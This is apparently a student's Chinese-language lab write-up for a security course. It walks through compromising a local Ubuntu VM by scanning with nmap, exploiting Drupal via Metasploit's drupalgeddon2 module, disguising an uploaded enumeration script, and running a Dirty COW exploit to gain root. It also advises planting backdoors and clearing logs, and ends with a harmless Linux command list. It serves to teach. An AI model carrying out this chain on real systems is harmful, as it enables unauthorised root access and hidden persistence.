要求
1.复现上课的提权案例
2.总结Linux内核提权利用步骤(从内网信息收集到提权成功的思路)
3.总结Linux常用命令,10个以上
案例复现
打开案例虚拟机,提示输入登录密码,能得到的只有版本信息 ubuntu 14.04.5 LTS :
由于是在本地装的案例虚拟机,因此使用本地的kali虚拟机扫描一下本地的网段,看能不能扫出来案例机的ip。
查看本地网段ip:
用nmap扫一下:
这里第一个192.168.235.1是网关,不用管。可以看到有个192.168.235.147开放了80端口,应该是一个web服务,尝试去访问一下:
可以访问到一个网页,说明这个主机应该就是案例机,但没有其他信息了。
再用nmap对这个主机进行全端口扫描:
可以看到该主机还开了一个1898端口,访问一下:
是一个登录页面,看一下这个网站有哪些组件:
可以看到用了一个叫Drupal的CMS,去搜一下有没有相关漏洞:
可以看到这个Drupal是有很多漏洞的,可以用它作为突破口,具体漏洞在msf里再看一下。
启动msf:
msfconsole
搜一下关于Drupal的漏洞:
search Drupal
出来了一堆。使用第二个漏洞试一下:
use 1 # 或者 use exploit/unix/webapp/drupal_drupalgeddon2
show options # 列出这个EXP需要配置的参数
可以看到这里的RHOSTS还没有设置,RPORT默认设置的80,但需要改成那个Drupal网站的1898。所以要设置一下这两个参数:
set RHOSTS 192.168.235.147
set RPORT 1898
设好以后run就可以了,可以看到成功打入案例机(kali的4444端口连到了案例机的49398端口):
使用help可以看到可执行的命令:
使用shell命令可以进入案例机的shell交互页面,之后就可以执行相关命令了。
看一下当前用户:
whoami
id
可以看到当前用户是www-data,是个普通用户。
看一下版本信息:
uname -a
lsb_release -a
cat /proc/version
cat /etc/os-release
传一个linux漏洞查找工具到案例机的temp目录下(因为这个目录一般不会特别去看,可以稍微隐藏一下恶意文件),重命名为goodthing.sh:
linux-exploit-suggester项目源码:https://github.com/The-Z-Labs/linux-exploit-suggester
upload /home/zxy/linux-exploit-suggester-master/linux-exploit-suggester.sh /tmp/goodthing.sh
上传成功,进入shell去看一眼:
可以看到/tmp里已经有这个脚本了,但是没有执行权限的,所以要chmod一下再执行:
成功执行,爆出了很多漏洞,其中就包括脏牛:
去PoC-in-GitHub上搜一下这里的脏牛漏洞:
https://github.com/nomi-sec/PoC-in-GitHub/blob/master/2016/CVE-2016-5195.json
这里面有很多EXP(不一定全部都可用,可能要多试几个),对于这个案例可以用这个EXP:
下载下来以后扔到案例机上面去编译(不在kali上编译好再上传是因为不同环境编译出来的文件可能不一样,kali上编译好了传到案例机上不一定可以运行):
upload /home/zxy/CVE-2016-5195-master/dcow.cpp /tmp/cow.cpp
# 编译命令:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o cow cow.cpp -lutil
可以看到编译成功,得到的可执行文件已经有执行权限了。(我这里重启了一下案例机,所以之前传上去的goodthing.sh就没有了,不过已经知道可利用的漏洞了所以不再重复上传)
直接运行这个EXP:
可以看到root的密码已经被重置成了dirtyCowFun。由于这里直接用的shell来交互,su命令需要在终端里才能用,所以先用python打开一个终端,在这个终端里再启动一个shell:
python -c 'import pty; pty.spawn("/bin/bash")'
可以看到这时候的命令行就是终端里打开时的样子了。之后切换root用户即可:
可以看到成功提权为root。
Linux提权步骤
信息收集
网络扫描:使用扫描工具(如nmap、fscan)扫描目标网络,发现目标主机开放的端口和服务。
服务识别:通过端口扫描结果,识别目标主机上运行的服务。可以去访问一下这些端口以进一步确认服务类型。
访问目标主机
查找漏洞:根据识别出的服务,搜索已知的安全漏洞。msf里直接search服务名字即可。
选择EXP:在msf里选择合适的漏洞利用模块(EXP)。
配置EXP:配置EXP所需的参数,如RHOSTS(目标主机IP)和RPORT(目标端口)。
执行EXP:运行配置好的EXP,尝试获取目标系统的访问权限。
权限提升
确认当前用户:通过whoami
和id
命令确认当前用户权限。
上传漏洞查找工具:将Linux漏洞查找工具(如linux-exploit-suggester、linux-smart-enumeration)上传到目标系统。
执行漏洞查找工具:赋予工具执行权限并执行,查找可用的提权漏洞。比如脏牛(dirty cow)漏洞等。
下载EXP并编译:下载针对特定漏洞的EXP(如Kernelhub、PoC-in-GitHub),在目标系统上编译。
执行EXP提权:运行编译好的EXP,尝试提升权限到root。
登录root
打开终端:由于直接在shell中su
命令可能无法执行,可以用Python或其他方法打开一个新的终端。
切换用户:在新的终端中,使用su
命令切换到root用户,并输入由EXP的到的密码。
后续操作
持续控制:根据需要,设置后门、安装远程管理工具等,以便持续控制目标系统。
清理痕迹:删除上传的提权工具、EXP等文件,清理日志等,以隐藏攻击痕迹。
Linux常用命令
ls
- 列出目录内容
ls
命令用于显示目录中的文件和子目录。可以使用不同的选项来更改输出格式,如显示详细信息、隐藏文件等。
ls # 列出当前目录的文件和子目录
ls -l # 列出当前目录的文件和子目录,以长格式显示
ls -a # 列出当前目录的所有文件,包括隐藏文件(以"."开头的文件)
cd
- 更改当前目录
cd
命令用于将当前工作目录更改为指定目录。
cd /home/user # 将当前工作目录更改为/home/user
cd .. # 将当前工作目录更改为上一级目录
cd ~ # 将当前工作目录更改为用户的主目录
pwd
- 显示当前工作目录
pwd
命令用于显示当前工作目录的完整路径。
pwd # 显示当前工作目录的路径
mkdir
- 创建目录
mkdir
命令用于创建一个或多个目录。
mkdir new_dir # 创建一个名为new_dir的目录
mkdir -p /path/to/new_dir # 创建多层目录结构,若中间目录不存在则一并创建
rm
- 删除文件或目录
rm
命令用于删除文件或目录。使用rm -r
可以递归删除目录及其内容。
rm file.txt # 删除名为file.txt的文件
rm -r dir_name # 递归删除名为dir_name的目录及其内容
cp
- 复制文件或目录
cp
命令用于复制文件或目录。使用cp -r
可以递归复制目录。
cp file1.txt file2.txt # 将file1.txt复制为file2.txt
cp -r dir1/ dir2/ # 将dir1目录及其内容递归复制到dir2目录
mv
- 移动或重命名文件或目录
mv
命令用于移动文件或目录,或者将其重命名。
mv old_name.txt new_name.txt # 将old_name.txt重命名为new_name.txt
mv file.txt /path/to/dest/ # 将file.txt移动到/path/to/dest/目录
touch
- 创建空文件或更新文件的时间戳
touch
命令用于创建一个新的空文件,或者更新已有文件的时间戳。
touch newfile.txt # 创建一个名为newfile.txt的空文件
touch existingfile.txt # 更新existingfile.txt的访问和修改时间戳
chmod
- 更改文件或目录的权限
chmod
命令用于更改文件或目录的权限。权限以数字或符号表示。
chmod 755 script.sh # 将script.sh的权限设置为755(所有者可读可写可执行,组和其他用户可读可执行)
chmod u+x script.sh # 将script.sh的所有者权限增加可执行权限
grep
- 搜索文本
grep
命令用于在文件中搜索符合特定模式的文本行,并输出这些行。
grep "pattern" file.txt # 在file.txt中搜索包含"pattern"的行
grep -r "pattern" /path/to/dir # 递归搜索/path/to/dir目录中所有文件,输出包含"pattern"的行
cat
- 查看文件内容
cat
命令用于查看文件的内容,也可以将多个文件合并后输出。
cat file.txt # 查看file.txt的内容
cat file1.txt file2.txt > combined.txt # 将file1.txt和file2.txt的内容合并到combined.txt中
more
/less
- 分页查看文件内容
more
和less
命令用于分页查看文件内容,适用于查看大文件。less
比more
更强大,支持向前翻页。
more file.txt # 使用more命令分页查看file.txt的内容
less file.txt # 使用less命令分页查看file.txt的内容,并支持向前翻页
find
- 查找文件或目录
find
命令用于在目录树中搜索符合特定条件的文件或目录。
find /path/to/search -name "*.txt" # 在/path/to/search目录及其子目录下查找所有扩展名为.txt的文件
tar
- 打包和压缩文件
tar
命令用于将多个文件或目录打包成一个文件,并可以选择性地使用gzip或bzip2等工具进行压缩。
tar -cvf archive.tar dir_to_archive # 将dir_to_archive目录打包成archive.tar文件
tar -czvf archive.tar.gz dir_to_archive # 将dir_to_archive目录打包并使用gzip压缩成archive.tar.gz文件
ps
- 显示当前进程状态
ps
命令用于显示当前系统中的进程状态。
ps aux # 显示系统中所有进程的详细信息
kill
- 终止进程
kill
命令用于向进程发送信号,通常用于终止进程。
kill 1234 # 向PID为1234的进程发送SIGTERM信号,请求终止该进程
kill -9 1234 # 向PID为1234的进程发送SIGKILL信号,强制终止该进程
df
- 显示磁盘空间使用情况
df
命令用于显示文件系统的磁盘空间使用情况。
df -h # 以易读的格式(如MB、GB)显示磁盘空间使用情况
ifconfig
/ip addr
- 显示或配置网络接口
ifconfig
和ip addr
命令用于显示或配置网络接口的信息,如IP地址、子网掩码等。
注:在较新的Linux发行版中,ifconfig
命令可能已被ip
命令取代。
ifconfig # 显示所有网络接口的信息(在某些系统上可能不可用)
ip addr show # 显示所有网络接口的信息(更通用的命令)